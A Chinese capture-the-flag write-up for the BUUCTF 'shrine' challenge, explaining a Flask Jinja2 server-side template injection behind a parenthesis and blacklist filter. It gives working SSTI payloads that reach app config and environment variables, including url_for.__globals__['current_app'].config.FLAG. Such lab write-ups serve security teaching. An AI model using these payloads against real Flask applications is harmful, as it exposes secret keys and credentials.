BUUCTF——shrine

BUUCTF——shrine

进入靶场

在这里插入图片描述

只有一串代码

import flask 
import os 
app = flask.Flask(__name__) 
app.config['FLAG'] = os.environ.pop('FLAG') #程序从环境变量 FLAG 读取一个敏感值,并存储在 app.config['FLAG'] 中。
#安全问题:如果攻击者能访问 app.config,就能直接获取 FLAG。
@app.route('/') def index(): return open(__file__).read() #访问 / 会返回当前脚本的源代码(包括 FLAG 的存储方式)。
#安全问题:虽然这里没有直接泄露 FLAG,但暴露了整个后端逻辑,帮助攻击者分析可能的漏洞。
@app.route('/shrine/') 
def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) 
if __name__ == '__main__': app.run(debug=True)

给了个shrine路径

功能分析

  1. **输入控制**:
    • 用户提供的 shrine 参数会直接传入 render_template_string(渲染 Jinja2 模板)。
    • safe_jinja 尝试过滤危险字符:
      • 删除 ( 和 )(防止调用函数)。
      • 使用黑名单 ['config', 'self'],并通过 {% set config=None %} 和 {% set self=None %} 尝试覆盖这些变量。
  2. **目标**:
    • 阻止攻击者访问 config 或 self(否则可以直接读取 FLAG)。

看样子应该是sstl漏洞

构造payload测试一下

/shrine/{{7*7}}

成功执行

在这里插入图片描述

根据这段代码构造payload

漏洞分析

  1. **/shrine/ 路由接受用户输入并直接渲染**
    • flask.render_template_string(safe_jinja(shrine)) 会渲染用户提供的模板字符串。
    • safe_jinja 尝试过滤 ( 和 ),并禁止 config 和 self,但过滤不充分。
  2. **目标**
    • 读取 app.config['FLAG'],但 config 被设为 None,需要绕过限制。
  3. **绕过思路**
    • 使用 **属性链(attribute chaining)** 访问 config,例如:
      • {{ request.__class__.__mro__[X].__subclasses__()[Y].__init__.__globals__['os'].environ['FLAG'] }}
      • 或者直接访问 app 对象:
        • {{ url_for.__globals__['current_app'].config.FLAG }}(url_for 是 Flask 全局函数)
/shrine/{{ url_for.__globals__['current_app'].config.FLAG }}

在这里插入图片描述

拿到flag

flag{5b156383-e35a-4e21-ae62-60905f32fe31}

下播!!!!

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/83229.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Python】对象生命周期全解析

Python对象生命周期全解析 在Python中,一个对象从创建到销毁会经历一系列过程,理解这些过程对于编写高效、可靠的Python代码非常重要。下面我将详细讲解Python对象的完整生命周期。 1. 对象创建阶段 (1) 内存分配 当使用类实例化时(obj MyClass())&…

科学养生指南:解锁健康生活的密码

健康是人生最宝贵的财富,科学养生则是守护这笔财富的关键。即使抛开传统中医理论,现代科学也为我们提供了诸多实用的养生方法。​ 合理饮食是健康养生的基石。人体需要碳水化合物、蛋白质、脂肪、维生素和矿物质等多种营养物质维持运转。日常饮食应遵循…

深入解析 Python 应用日志监控:ELK、Graylog 的实战指南

深入解析 Python 应用日志监控:ELK、Graylog 的实战指南 引言 在现代应用开发中,日志不仅仅是用于记录错误和调试信息,它更是系统运行状况的窗口,帮助开发者和运维人员监控、优化应用性能。Python 作为广泛应用的开发语言,其应用日志管理的重要性不言而喻。而 ELK(Elas…

【vue】脚手架

一、使用脚手架创建项目 1.打开编辑器终端 2.输入命令vue create 项目名 3.选择自定义配置,选以下几种常用的配置项(空格选中或删除) 二、常规操作 进入项目:cd 项目名 返回:cd .. 运行项目:npm run serve 停止项目:ct…

2025全网首发:ComfyUI整合GPT-Image-1完全指南 - 8步实现AI图像创作革命

ComfyUI整合GPT-Image-1完全指南:8步实现AI图像创作革命【2025最新】 OpenAI最新发布的GPT-Image-1模型(也就是ChatGPT-4o背后的图像生成技术)已经通过API开放使用,而令人惊喜的是,ComfyUI已经第一时间提供了完整支持&…

每日算法刷题计划Day7 5.15:leetcode滑动窗口4道题,用时1h

一.定长滑动窗口 【套路】教你解决定长滑窗!适用于所有定长滑窗题目! 模版套路 1.题目描述 1.计算所有长度恰好为 k 的子串中,最多可以包含多少个元音字母 2.找出平均数最大且 长度为 k 的连续子数组,并输出该最大平均数。 3.…

JavaScript的BOM、DOM编程

参考笔记:JavaWeb 速通DOM_java dom-CSDN博客 目录 1.JS的组成部分 2.BOM编程 2.1 基本介绍 2.2 BOM的构成 2.3 图解BOM编程 2.4 windows对象的常见属性 2.5 windows对象的常见方法 2.6 BOM编程的简单示例 2.6.1 三种弹窗方式 ​2.6.2 页面跳转 2.6.3…

Web3.0:互联网的去中心化未来

随着互联网技术的不断发展,我们正站在一个新时代的门槛上——Web3.0时代。Web3.0不仅仅是一个技术升级,它更是一种全新的互联网理念,旨在通过去中心化技术重塑网络世界。本文将深入探讨Web3.0的核心概念、技术基础、应用场景以及它对未来的深…

CVPR计算机视觉顶会论文解读:IPC-Dehaze 如何解决真实场景去雾难题

【CVPR 2025】迭代预测-评判编解码网络:突破真实场景去雾的极限 摘要 本文提出了一种名为IPC-Dehaze的创新去雾方法,通过迭代预测-评判框架和码本解码机制,有效解决了现有去雾算法在复杂场景下的性能瓶颈。该方法在多个基准测试中取得了SOT…

07.three官方示例+编辑器+AI快速学习webgl_buffergeometry_attributes_integer

本实例主要讲解内容 这个Three.js示例展示了WebGL 2环境下的整数属性渲染技术。通过创建大量随机分布的三角形,并为每个三角形分配不同的整数索引,实现了基于索引动态选择纹理的效果。 核心技术包括: WebGL 2环境下的整数属性支持顶点着色…

WebSocket:实时通信(如聊天应用)从零到一的深度解析

简介 在现代互联网应用中,实时通信已成为不可或缺的核心功能。从在线聊天到金融数据监控,从协同办公到在线游戏,实时性需求推动了WebSocket技术的广泛应用。本文将从底层协议原理出发,结合企业级开发场景,系统讲解WebSocket的实现机制、实战技巧与优化策略。通过完整的代…

【NLP 困惑度解析和python实现】

**困惑度(Perplexity)**是自然语言处理和机器学习中常用的评价指标,尤其在评估语言模型时广泛使用。它衡量的是一个概率模型对一个样本(如一句话)的预测能力。 一、困惑度的定义 对于一个语言模型 $ P $ 和一个测试语…

编程题 02-线性结构3 Reversing Linked List【PAT】

文章目录 题目输入格式输出格式输入样例输出样例 题解解题思路完整代码 编程练习题目集目录 题目 Given a constant K K K and a singly linked list L L L, you are supposed to reverse the links of every K K K elements on L L L. For example, given L being 1 → …

互联网大厂Java求职面试实战:Spring Boot到微服务全景解析

💪🏻 1. Python基础专栏,基础知识一网打尽,9.9元买不了吃亏,买不了上当。 Python从入门到精通 2. 我的免费工具站: 欢迎访问 https://tools-6wi.pages.dev/ 😁 3. 毕业设计专栏,毕业…

课程11. 计算机视觉、自编码器和生成对抗网络 (GAN)

计算机视觉、自编码器和生成对抗网络(GAN) 自动编码器Vanilla自动编码器使用 AE 生成新对象. 变分 AE (VAE)AE 条件 GAN理论示例下载并准备数据GAN模型 额外知识 课程计划: 自动编码器: 自动编码器结构;使用自动编码器…

MarkitDown:AI时代的文档转换利器

在当今AI快速发展的时代,如何高效地将各种格式的文档转换为机器可读的格式,成为了一个迫切需要解决的问题。今天,我们来介绍一款由微软开发的强大工具——MarkitDown,它正是为解决这一问题而生的。 什么是MarkitDown? MarkitDown是一个用Python编写的轻量级工具,专门用…

Python实战案例:打造趣味猜拳小游戏

Python实战案例:猜拳小游戏 文章目录 Python实战案例:猜拳小游戏一、案例背景二、代码实现三、代码解析3.1 执行过程3.2 流程图 四、案例总结1. 核心知识点运用2. 编程思维提升 一、案例背景 猜拳游戏(石头剪刀布)是一款规则简单…

MCP:重塑AI交互的通用协议,成为智能应用的基础设施

目录: 为什么我们需要一个AI世界的USB-C?MCP的核心架构与工作原理MCP如何解决当前AI生态系统的碎片化问题从代码到实践:构建基于MCP的智能应用MCP的未来:从工具到生态为什么我们需要一个AI世界的USB-C? 还记得在USB-C标准普及之前,我们的数字生活是什么样子吗?抽屉里塞…

如何保证RabbitMQ消息的顺序性?

保证RabbitMQ消息的顺序性是一个常见的需求,尤其是在处理需要严格顺序的消息时。然而,默认情况下,RabbitMQ不保证消息的全局顺序,因为消息可能会通过不同的路径(例如不同的网络连接或线程)到达队列&#xf…

HTML-2.2 列表--无序列表、有序列表、定义列表

本系列可作为前端学习系列的笔记,代码的运行环境是在HBuilder中,小编会将代码复制下来,大家复制下来就可以练习了,方便大家学习。小编作为新晋码农一枚,会定期整理一些写的比较好的代码,作为自己的学习笔记…